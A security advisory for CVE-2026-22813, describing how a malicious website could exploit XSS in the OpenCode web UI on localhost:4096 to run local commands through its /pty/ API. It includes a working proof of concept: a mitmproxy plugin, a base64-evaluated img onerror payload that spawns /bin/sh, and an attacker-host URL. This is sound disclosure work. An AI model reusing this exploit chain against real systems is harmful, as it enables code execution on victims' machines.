Advisory

GHSA-c83v-7274-4vgp

Also known as: CVE-2026-22813

Summary

Malicious website can execute commands on the local system through XSS in the OpenCode web UI

Details

Summary
A malicious website can abuse the server URL override feature of the OpenCode web UI to achieve cross-site scripting on http://localhost:4096. From there, it is possible to run arbitrary commands on the local system using the /pty/ endpoints provided by the OpenCode API.

Code execution via OpenCode API

  • The OpenCode API has /pty/ endpoints that allow spawning arbitrary processes on the local machine.
  • When you run opencode in your terminal, OpenCode automatically starts an HTTP server on localhost:4096 that exposes the API along with a web interface.
  • JavaScript can make arbitrary same-origin fetch() requests to the /pty/ API endpoints. Therefore, JavaScript execution on http://localhost:4096 gets you code execution on local the machine.

JavaScript execution on localhost:4096

The markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection.

This means controlling the LLM response for a chat session gets you JavaScript execution on the http://localhost:4096 origin. This alone would not be enough for a 1-click exploit, but there's functionality in packages/app/src/app.tsx to allow specifying a custom server URL in a ?url=... parameter:

// packages/app/src/app.tsx
const defaultServerUrl = iife(() => {
  const param = new URLSearchParams(document.location.search).get("url")
  if (param) return param
  
  // [truncated]
  
  return window.location.origin
})

Using this custom server URL functionality, you can make the web UI connect to and load chat sessions from an OpenCode instance on another URL. For example, tricking a user into opening http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=https://opencode.attacker.example in their browser would load and display ses_45d2d9723ffeHN2DLrTYMz4mHn from the attacker-controlled server at https://opencode.attacker.example.

Note on exploitability

Because the localhost web UI proxies static resources from a remote location, the OpenCode team was able to prevent exploitation of this issue by making a server-side change to no longer respect the ?url= parameter. This means the specific vulnerability used to achieve XSS on the localhost web UI no longer works as of Fri, 09 Jan 2026 21:36:31 GMT. Users are still strongly encouraged to upgrade to version 1.1.10 or later, as this disables the web UI/OpenCode API to reduce the attack surface of the application. Any future XSS vulnerabilities in the web UI would still impact users on OpenCode versions before 1.10.0.

Proof of Concept

A simple way to serve a malicious chat session is by setting up mitmproxy in front of a real OpenCode instance. This is necessary because the OpenCode web UI must load a bunch of resources before it loads and displays the chat session.

  1. Spawn an OpenCode instance in a Docker container
$ docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0
  1. Create a file called plugin.py with the contents below
import base64
import json

payload = """
(async () => {
    // const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'open -F -a Calculator.app']};
    const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'touch /tmp/albert-was-here.txt']};
    const r = await fetch('/pty', {method: 'POST', body: JSON.stringify(ptyInit), headers: {'Content-Type': 'application/json'}});
    const pty_id = (await r.json())['id'];
    await new Promise(r => setTimeout(r, 500));
    await fetch('/pty/' + pty_id, {method: 'DELETE'})
    window.location.replace('https://example.com');
})()
"""

# Other messages have been removed from this codeblock for brevity
malicious_messages = [
    #  [truncated]
    {
        # [truncated]
        "parts": [
            # [truncated]
            {
                "id": "prt_ba2d26ca0001fcRfwfEZ4bP7gF",
                "sessionID": "ses_45d2d9723ffeHN2DLrTYMz4mHn",
                "messageID": "msg_ba2d269130016guS0KSZ0FY2J9",
                "type": "text",
                "text": f"Hello, World!\n<img src=\"/favicon.png\" onerror=\"eval(atob('{base64.b64encode(payload.encode()).decode()}'))\" style=\"display: none;\">",
                "time": {
                    "start": 1767963258360,
                    "end": 1767963258360
                }
            },
            # [truncated]
        ]
    }
]

malicious_session = {"id":"ses_45d2d9723ffeHN2DLrTYMz4mHn","version":"1.0.220","projectID":"global","directory":"/","title":"Hello World!","time":{"created":1767963257052,"updated":1767963258366},"summary":{"additions":0,"deletions":0,"files":0}}

async def response(flow):
    if flow.request.path.split('?')[0] == '/session':
        flow.response.text = json.dumps([malicious_session], separators=(',', ':'))
    elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn':
        flow.response.status_code = 200
        flow.response.text = json.dumps(malicious_session, separators=(',', ':'))
    elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message':
        flow.response.text = json.dumps(malicious_messages, separators=(',', ':'))
  1. Start mitmproxy with the plugin in reverse proxy mode
$ mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096
  1. Start OpenCode in your terminal as the victim
$ opencode
  1. Visit the following URL in a browser on the same machine running OpenCode: http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345
  1. Confirm the file albert-was-here.txt was created in the /tmp/ directory
$ ls /tmp/
albert-was-here.txt

Severity

Critical Basis: The source's own band: CRITICAL

Dates

Published
2026-01-13 20:36 UTC
Modified
2026-02-03 03:00 UTC

Affected packages and fixes

opencode-ai

npm · All systems

Affected

  • introduced 0, fixed 1.1.10 (semver)

Fixed versions

1.1.10

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences